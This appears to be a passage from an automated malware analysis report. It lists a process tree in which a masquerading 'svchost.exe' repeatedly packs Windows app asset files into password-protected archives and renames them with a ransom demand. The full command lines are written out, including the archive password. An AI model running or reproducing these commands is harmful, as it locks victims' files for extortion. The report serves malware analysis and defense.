                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftStickyNotes_3.6.73.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\SplashScreen.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftStickyNotes_3.6.73.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\SplashScreen.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2448
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftStickyNotes_3.6.73.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\Square150x150Logo.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftStickyNotes_3.6.73.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\Square150x150Logo.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4020
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftStickyNotes_3.6.73.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\Square310x310Logo.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftStickyNotes_3.6.73.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\Square310x310Logo.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:3928
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftStickyNotes_3.6.73.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\Square44x44Logo.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftStickyNotes_3.6.73.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\Square44x44Logo.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4436
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftStickyNotes_3.6.73.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\Square71x71Logo.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftStickyNotes_3.6.73.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\Square71x71Logo.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:4872
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftStickyNotes_3.6.73.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\StoreLogo.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftStickyNotes_3.6.73.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\StoreLogo.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4036
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftStickyNotes_3.6.73.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\Wide310x150Logo.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MicrosoftStickyNotes_3.6.73.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\Wide310x150Logo.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:3668
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MixedReality.Portal_2000.19081.1301.0_neutral_split.scale-125_8wekyb3d8bbwe\AppxBlockMap.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MixedReality.Portal_2000.19081.1301.0_neutral_split.scale-125_8wekyb3d8bbwe\AppxBlockMap.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:224
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MixedReality.Portal_2000.19081.1301.0_neutral_split.scale-125_8wekyb3d8bbwe\AppxManifest.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MixedReality.Portal_2000.19081.1301.0_neutral_split.scale-125_8wekyb3d8bbwe\AppxManifest.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1132
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MixedReality.Portal_2000.19081.1301.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-black\MixedRealityPortalAppList.scale-125_contrast-black.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MixedReality.Portal_2000.19081.1301.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-black\MixedRealityPortalAppList.scale-125_contrast-black.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4416
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MixedReality.Portal_2000.19081.1301.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-black\MixedRealityPortalMedTile.scale-125_contrast-black.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MixedReality.Portal_2000.19081.1301.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-black\MixedRealityPortalMedTile.scale-125_contrast-black.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2960
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MixedReality.Portal_2000.19081.1301.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-black\MixedRealityPortalSplashScreen.scale-125_contrast-black.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MixedReality.Portal_2000.19081.1301.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-black\MixedRealityPortalSplashScreen.scale-125_contrast-black.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:3712
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MixedReality.Portal_2000.19081.1301.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-black\MixedRealityPortalStoreLogo.scale-125_contrast-black.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MixedReality.Portal_2000.19081.1301.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-black\MixedRealityPortalStoreLogo.scale-125_contrast-black.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:4560
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MixedReality.Portal_2000.19081.1301.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-white\MixedRealityPortalAppList.scale-125_contrast-white.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MixedReality.Portal_2000.19081.1301.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-white\MixedRealityPortalAppList.scale-125_contrast-white.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4948
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MixedReality.Portal_2000.19081.1301.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-white\MixedRealityPortalMedTile.scale-125_contrast-white.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MixedReality.Portal_2000.19081.1301.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-white\MixedRealityPortalMedTile.scale-125_contrast-white.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5776
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MixedReality.Portal_2000.19081.1301.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-white\MixedRealityPortalSplashScreen.scale-125_contrast-white.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MixedReality.Portal_2000.19081.1301.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-white\MixedRealityPortalSplashScreen.scale-125_contrast-white.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5716
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MixedReality.Portal_2000.19081.1301.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-white\MixedRealityPortalStoreLogo.scale-125_contrast-white.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MixedReality.Portal_2000.19081.1301.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-white\MixedRealityPortalStoreLogo.scale-125_contrast-white.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4928
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MixedReality.Portal_2000.19081.1301.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\MixedRealityPortalAppList.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MixedReality.Portal_2000.19081.1301.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\MixedRealityPortalAppList.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4656
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MixedReality.Portal_2000.19081.1301.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\MixedRealityPortalMedTile.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MixedReality.Portal_2000.19081.1301.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\MixedRealityPortalMedTile.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
